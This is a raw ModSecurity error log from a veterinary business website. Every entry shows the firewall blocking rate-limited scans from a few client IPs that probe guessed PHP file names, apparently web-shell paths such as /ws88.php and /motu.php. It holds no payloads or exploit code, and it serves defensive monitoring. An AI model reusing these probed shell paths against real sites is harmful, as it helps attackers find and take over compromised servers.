[Mon Apr 13 17:24:10.443990 2026] [:error] [pid 63406:tid 63431] [client 20.240.142.13:64505] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady2OrHZEIkQ0Zmgp5olGwAAANQ"]
[Mon Apr 13 17:24:10.641063 2026] [:error] [pid 63309:tid 63330] [client 158.158.40.237:6965] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "ady2OkpIKZ10weXpf0UEqAAAABE"]
[Mon Apr 13 17:24:11.568002 2026] [:error] [pid 63309:tid 63322] [client 158.158.40.237:54486] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "ady2O0pIKZ10weXpf0UEqQAAAAk"]
[Mon Apr 13 17:24:12.397895 2026] [:error] [pid 63310:tid 63345] [client 158.158.40.237:54499] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "ady2PHoXpRU5ztmwPjIxygAAAEE"]
[Mon Apr 13 17:24:13.493608 2026] [:error] [pid 9314:tid 9339] [client 20.240.142.13:60502] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady2PW_r4W8fX2GWyGTOfQAAAZc"]
[Mon Apr 13 17:24:13.562336 2026] [:error] [pid 9314:tid 9324] [client 158.158.40.237:6385] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ady2PW_r4W8fX2GWyGTOfgAAAYg"]
[Mon Apr 13 17:24:15.776743 2026] [:error] [pid 57183:tid 57206] [client 20.240.142.13:61930] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady2PzDO3t8R5NaxzYTYCAAAAVU"]
[Mon Apr 13 17:24:16.128957 2026] [:error] [pid 63310:tid 63351] [client 158.158.40.237:53677] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ady2QHoXpRU5ztmwPjIx0gAAAEc"]
[Mon Apr 13 17:24:17.904288 2026] [:error] [pid 63311:tid 63373] [client 20.240.142.13:62750] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady2QaHjrGN1MqBCVFnT1gAAAII"]
[Mon Apr 13 17:24:20.577674 2026] [:error] [pid 63406:tid 63414] [client 158.158.40.237:54475] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ady2RLHZEIkQ0Zmgp5olJgAAAMM"]
[Mon Apr 13 17:24:22.022365 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:60540] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady2RrHZEIkQ0Zmgp5olJwAAAMU"]
[Mon Apr 13 17:24:22.437402 2026] [:error] [pid 63309:tid 63334] [client 158.158.40.237:53727] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "ady2RkpIKZ10weXpf0UEwAAAABU"]
[Mon Apr 13 17:24:23.211861 2026] [:error] [pid 63406:tid 63425] [client 158.158.40.237:53713] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ady2R7HZEIkQ0Zmgp5olKQAAAM4"]
[Mon Apr 13 17:24:23.924778 2026] [:error] [pid 63310:tid 63352] [client 158.158.40.237:57134] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ady2R3oXpRU5ztmwPjIx9AAAAEg"]
[Mon Apr 13 17:24:24.687353 2026] [:error] [pid 7228:tid 7242] [client 158.158.40.237:57143] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ady2SAEnn1dQrOSHHNVdrgAAAQw"]
[Mon Apr 13 17:24:26.263299 2026] [:error] [pid 7228:tid 7241] [client 20.240.142.13:64527] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady2SgEnn1dQrOSHHNVdsQAAAQs"]
[Mon Apr 13 17:24:26.936975 2026] [:error] [pid 7228:tid 7250] [client 158.158.40.237:57131] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ady2SgEnn1dQrOSHHNVdtAAAARQ"]
[Mon Apr 13 17:24:28.535806 2026] [:error] [pid 57183:tid 57188] [client 20.240.142.13:64487] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady2TDDO3t8R5NaxzYTYFAAAAUM"]
[Mon Apr 13 17:24:28.809028 2026] [:error] [pid 57183:tid 57195] [client 158.158.40.237:53976] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "ady2TDDO3t8R5NaxzYTYFQAAAUo"]
[Mon Apr 13 17:24:32.207936 2026] [:error] [pid 7228:tid 7234] [client 158.158.40.237:6389] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "ady2UAEnn1dQrOSHHNVdvQAAAQQ"]
[Mon Apr 13 17:24:32.691688 2026] [:error] [pid 63309:tid 63320] [client 20.240.142.13:60517] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady2UEpIKZ10weXpf0UExwAAAAc"]
[Mon Apr 13 17:24:34.364438 2026] [:error] [pid 63406:tid 63412] [client 20.240.142.13:60503] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady2UrHZEIkQ0Zmgp5olSwAAAME"]
[Mon Apr 13 17:24:35.427675 2026] [:error] [pid 63406:tid 63431] [client 20.240.142.13:62768] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady2U7HZEIkQ0Zmgp5olTQAAANQ"]
[Mon Apr 13 17:27:12.466827 2026] [:error] [pid 57183:tid 57193] [client 158.158.40.237:59546] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "ady28DDO3t8R5NaxzYTZKwAAAUg"]
[Mon Apr 13 17:27:13.631180 2026] [:error] [pid 57183:tid 57202] [client 158.158.40.237:60176] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "ady28TDO3t8R5NaxzYTZLwAAAVE"]
[Mon Apr 13 17:27:14.222592 2026] [:error] [pid 63406:tid 63428] [client 158.158.40.237:59541] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "ady28rHZEIkQ0Zmgp5onkQAAANE"]
[Mon Apr 13 17:27:15.531753 2026] [:error] [pid 63406:tid 63412] [client 158.158.40.237:60191] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpb.php"] [unique_id "ady287HZEIkQ0Zmgp5onmQAAAME"]
[Mon Apr 13 17:27:16.121296 2026] [:error] [pid 63406:tid 63431] [client 158.158.40.237:58655] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ady29LHZEIkQ0Zmgp5onmwAAANQ"]
[Mon Apr 13 17:27:20.325341 2026] [:error] [pid 9314:tid 9321] [client 158.158.40.237:56226] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ady2-G_r4W8fX2GWyGTPZgAAAYU"]
[Mon Apr 13 17:27:24.674903 2026] [:error] [pid 63406:tid 63425] [client 158.158.40.237:59576] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ady2_LHZEIkQ0Zmgp5onugAAAM4"]
[Mon Apr 13 17:27:27.385330 2026] [:error] [pid 63406:tid 63415] [client 158.158.40.237:63870] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ady2_7HZEIkQ0Zmgp5onxQAAAMQ"]
[Mon Apr 13 17:27:28.625881 2026] [:error] [pid 63311:tid 63372] [client 158.158.40.237:58687] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "ady3AKHjrGN1MqBCVFnUwAAAAIE"]
[Mon Apr 13 17:27:29.580047 2026] [:error] [pid 63406:tid 63433] [client 158.158.40.237:7111] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "ady3AbHZEIkQ0Zmgp5onzQAAANY"]
[Mon Apr 13 17:27:30.331337 2026] [:error] [pid 63406:tid 63412] [client 158.158.40.237:60173] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "ady3ArHZEIkQ0Zmgp5onzgAAAME"]
[Mon Apr 13 17:27:31.672753 2026] [:error] [pid 63311:tid 63381] [client 158.158.40.237:59529] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "ady3A6HjrGN1MqBCVFnUxgAAAIo"]
[Mon Apr 13 17:27:33.488490 2026] [:error] [pid 63406:tid 63428] [client 158.158.40.237:60164] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ady3BbHZEIkQ0Zmgp5on1AAAANE"]
[Mon Apr 13 17:27:34.871728 2026] [:error] [pid 63406:tid 63414] [client 158.158.40.237:63823] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ady3BrHZEIkQ0Zmgp5on4AAAAMM"]
[Mon Apr 13 17:27:35.823860 2026] [:error] [pid 57183:tid 57196] [client 158.158.40.237:63829] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ady3BzDO3t8R5NaxzYTZbAAAAUs"]
[Mon Apr 13 17:27:38.079665 2026] [:error] [pid 57183:tid 57204] [client 158.158.40.237:60174] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "ady3CjDO3t8R5NaxzYTZegAAAVM"]
[Mon Apr 13 17:27:41.121639 2026] [:error] [pid 63406:tid 63411] [client 158.158.40.237:59531] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "ady3DbHZEIkQ0Zmgp5on9AAAAMA"]
[Mon Apr 13 17:27:43.350583 2026] [:error] [pid 7228:tid 7254] [client 158.158.40.237:56255] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "ady3DwEnn1dQrOSHHNVexwAAARg"]
[Mon Apr 13 17:27:47.869714 2026] [:error] [pid 9314:tid 9323] [client 158.158.40.237:59554] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "ady3E2_r4W8fX2GWyGTPjgAAAYc"]
[Mon Apr 13 17:27:51.827287 2026] [:error] [pid 7228:tid 7251] [client 158.158.40.237:59528] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "ady3FwEnn1dQrOSHHNVe0AAAARU"]
[Mon Apr 13 17:27:54.938870 2026] [:error] [pid 7228:tid 7233] [client 158.158.40.237:59535] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "ady3GgEnn1dQrOSHHNVe0gAAAQM"]
[Mon Apr 13 17:27:56.520392 2026] [:error] [pid 9314:tid 9321] [client 158.158.40.237:59571] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "ady3HG_r4W8fX2GWyGTPmgAAAYU"]
[Mon Apr 13 17:27:56.954093 2026] [:error] [pid 7228:tid 7254] [client 172.213.213.128:59044] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "ady3HAEnn1dQrOSHHNVe1AAAARg"]
[Mon Apr 13 17:27:57.547409 2026] [:error] [pid 57183:tid 57202] [client 172.213.213.128:57001] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "ady3HTDO3t8R5NaxzYTZvwAAAVE"]
[Mon Apr 13 17:27:58.495564 2026] [:error] [pid 57183:tid 57193] [client 172.213.213.128:56961] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "ady3HjDO3t8R5NaxzYTZxQAAAUg"]
[Mon Apr 13 17:27:59.517171 2026] [:error] [pid 9314:tid 9337] [client 172.213.213.128:53492] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "ady3H2_r4W8fX2GWyGTPnQAAAZU"]
[Mon Apr 13 17:28:00.057955 2026] [:error] [pid 9314:tid 9329] [client 172.213.213.128:4016] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "ady3IG_r4W8fX2GWyGTPoQAAAY0"]
[Mon Apr 13 17:28:00.709506 2026] [:error] [pid 7228:tid 7253] [client 172.213.213.128:52666] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "ady3IAEnn1dQrOSHHNVe1wAAARc"]
[Mon Apr 13 17:28:01.372512 2026] [:error] [pid 63406:tid 63427] [client 172.213.213.128:59040] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "ady3IbHZEIkQ0Zmgp5ooNgAAANA"]
[Mon Apr 13 17:28:01.670375 2026] [:error] [pid 7228:tid 7232] [client 158.158.40.237:56232] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "ady3IQEnn1dQrOSHHNVe2AAAAQI"]
[Mon Apr 13 17:28:02.409374 2026] [:error] [pid 57183:tid 57204] [client 172.213.213.128:52651] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "ady3IjDO3t8R5NaxzYTZyAAAAVM"]
[Mon Apr 13 17:28:05.130802 2026] [:error] [pid 57183:tid 57205] [client 158.158.40.237:55752] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "ady3JTDO3t8R5NaxzYTZywAAAVQ"]
